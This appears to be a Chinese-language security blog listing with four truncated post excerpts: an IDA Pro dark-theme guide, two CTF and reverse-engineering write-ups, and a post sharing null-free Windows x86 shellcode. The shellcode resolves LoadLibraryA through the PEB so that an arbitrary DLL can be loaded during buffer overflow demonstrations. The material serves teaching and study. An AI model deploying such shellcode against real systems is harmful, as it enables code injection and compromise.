發表文章

IDA 神器深色主題套用教學,快讓你的 IDA 潮到出水吧!

圖片
前言 IDA 原始介面超醜我知道,如果你的工作或者興趣得一整天盯著 IDA 分析,那麼這篇文章肯定超適合你的XD。之前看很多大大的 IDA 介面超級無敵漂亮一問之下才知道有特別的樣式可以改。而網路上已經有現成很漂亮的樣式可以套用,底下就介紹一組我還蠻喜歡的深色系 IDA 主題怎麼套用。 :) IDASkin 可以參考至 zyantific/IDASkins  這個開源專案,用法很簡單,直接到  https://github.com/zyantific/IDASkins/releases  將最新版載下來、解壓縮,接著你會在壓縮包內的 Plugins 資料夾看到 IDASkins.dll 與 IDASkins64.dll。 接著就是把這兩個 dll 拷貝到電腦裡 IDA 安裝根目錄中的 Plugins 資料夾內。 接著將壓縮包中的 Skin 資料夾中的檔案,拷貝到電腦裡 IDA 安裝根目錄中的 Skin 資料夾內。 到目前為止就完成安裝 IDASkin 啦!重啟 IDA 後到 Edit > Plugins > IDASkins::Setting 就可以看到下圖彈出的樣式選擇器,你可以自由選擇你想使用的樣式啦。 套用完後就可以看見 IDA 外框(QT 的視窗樣式部分)成功切換成深色主題啦! ida-consonance 我知道光用 IDASkin 還不夠爽啦,視覺上還是有一片白看起來 hen 討厭對吧?IDA 內部負責渲染出組合語言程式碼、流程圖的部分,必須靠改 IDA 顏色配置,這邊可以使用 ida-consonance  這個顏色配置檔案XD 先將  ida-consonance.clr  給抓下來,接著在 IDA 介面中的 Options > Color 可以找到 IDA 顏色配置的選取視窗: 接著按下 Import 按鈕後,選取到剛剛下載下來的 *.clr 配置檔案,然後按開啟。 就會發現你的 IDA 變得超級無敵炫炮啦!瞬間都覺得自己非常會逆向了呢!

[TDOHConf] Challenge #11: fuzz macOS 算號器

圖片
這一題好像沒人解出來, 想說大家快破台了這樣不行, 所以結算成績前一個小時臨時加了這一題。 首先這個題目點進來看到是一張圖片連結,不過點開基本上是個損毀的圖片: 接著可以把這個圖片載下來,然後用 file 指令看看這是什麼鬼: 會發現其實是 mach-O 格式的 macOS 執行程式,接著你可以用反組譯器去看這隻執行程式,我這邊用的是 IDA Pro,不過如果你手上沒有 IDA Pro 其實拿免費版的 IDA 也可以看程式邏輯流程圖啦...XD 記憶體變數排列圖: 第一個流程圖部分你可以看到它用 scanf 把文字儲存在區域變數 ebp+0x20 處,接著取出第一個 char 值去做右移一次、左移一次去判斷是否等於自己當前值 - 1,其實這很明顯就是在判斷奇數啦XD(比方說 31:(31 /2) * 2 = 30 正好就會是 31-1,因為有 1 在除法乘法時候被捨去了) 第二個流程圖去比對 var_11 是否等於 var12+3,也就是第二個 char 的值必須為第一個值 +3。 第三個流程圖則是:var_10 必須為 var_11 + 0x0e,第三個 char 必須為第二個 + 0x0e(14) 第四個流程圖: var_f 則是判斷第四個 char 是否為 null(字串結尾)所以可以確定 input 必須為三個字的長度。 所以算號器算法都出來了,接著就是寫腳本去爆啦~ 寫個三層 for 迴圈,然後去暴力跑 ASCII 整張表可顯示字元部分,然後找出匹配上述三個規則的字串: 你會發現有很多符合規則的三個字元結果,這些結果都是剛剛那支算號器認證通過的字串XD 所以得一個個去帶,最後 flag 會是 TDOHCONF{ADR} 我知道還有另一組大家很感興趣的是在: 抱歉,這一組字串從頭到尾都沒被用到XD 純粹騙你用的(誰說擺了這個字串就一定要用呢?:P)

Windows x86 LoadLibraryA Shellcode(Null-Free)

圖片
murmur 因為部分課程緣故需要展示 Buffer Overflow 可以幹嘛,但是不想包太長的 Shellcode、單純 Demo 彈小算盤好像又太弱了XD。所以拿網路上別人寫好的 Shellcode 小改了一下,分享出來原始 Assembly Code 方便之後有需要的人可以做修改、開發自己的 Shellcode。 Cheat Engine AutoASM 腳本 // windows x86 LoadLibraryA("xxx.dll") // author: aaaddress1@chroot.org alloc(script, 1024) script: xor edx,edx mov dl,30 mov edx,fs:[edx] mov edx,[edx+0C] mov edx,[edx+1C] mov eax,[edx+08] mov esi,[edx+20] mov edx,[edx] cmp byte ptr [esi+0C], 33 /* kernel'3'2.dll -> 0x33 */ db 75 f2 // jne -0x0d mov edi,eax //eax = handle of kernel32.dll add edi,DWORD PTR [eax+0x3c] mov edx,DWORD PTR [edi+0x78] add edx,eax mov edi,DWORD PTR [edx+0x20] add edi,eax xor ebp,ebp mov esi,DWORD PTR [edi+ebp*4] add esi,eax inc ebp //esi = API name cmp DWORD PTR [esi],0x64616f4c db 75 f2 cmp DWORD PTR [esi+0x8],0x41797261 db 75 e9 mov edi,DWORD PTR [edx+0x24] add edi,eax mov bp,WORD PTR [edi+ebp*2] //bp = index mov edi,DWORD PTR [edx+0x1c] add ed...

AIS3 Final-Exam Binary1

圖片
這題看到木棍用Pin炸,我都被嚇哭了啊...早知道就該學Pin惹Q___Q 題目長這樣: 分別給x86/x64各一種的Elf,可在Linux下跑起來測試 Pin的爆法/載點可以看木棍的Write-Up Sol.py 這邊我只把z3爆法的Code丟出來而已XD 先把x86的Elf丟給IDA Pro 題目只要求把傳入第一個參數(你的Key)丟給Verify函數檢測,如果正確就提示你Key正確 那麼可以看一下Verify怎麼寫的: 大致上可以從 i == 23推敲Key長度為23個ASCII(或者你可以從0x804A014得知第23個偏移為0x00得知Key長度為23個字)稍微整理一下可以得到底下這樣的函數: bool verify(char* a1) { for (int i = 0, j = 0, k = 0; i < 23; ++i) { j = *(char*)(0x804A014 + i); k = ((a1[i] ^ i) << (i ^ 9) & 3) | ((a1[i] ^ i) >> (8 - ((i ^ 9) & 3))) if (j!= k+ 8) return false; } return true; } 所以最後可以根據我們手上資訊得知解題的要點: Key有24個字(需要23個變量+已知結尾\x00來跑z3) 0x804A014有一組char Array每個char - 8為ROR每個Key的ASCII才正確 接著可以去看0x804A014上保存的陣列資訊: 在IDA Pro中可透過Hex View看見0xCA為陣列起點,到0x63結尾,後面遇到0x00結束 最後就是把算法抄下來放進z3內用Python跑: #!/usr/bin/env python2.7 #By aaaddress1. from z3 import * ''' IDA Pro F5 bool verify(char* a1) { for (int i = 0, j = 0, k = 0; i < 23; i++) { j = *(char*)(0x804A014 + i); k = ((a1[i] ^ i) ...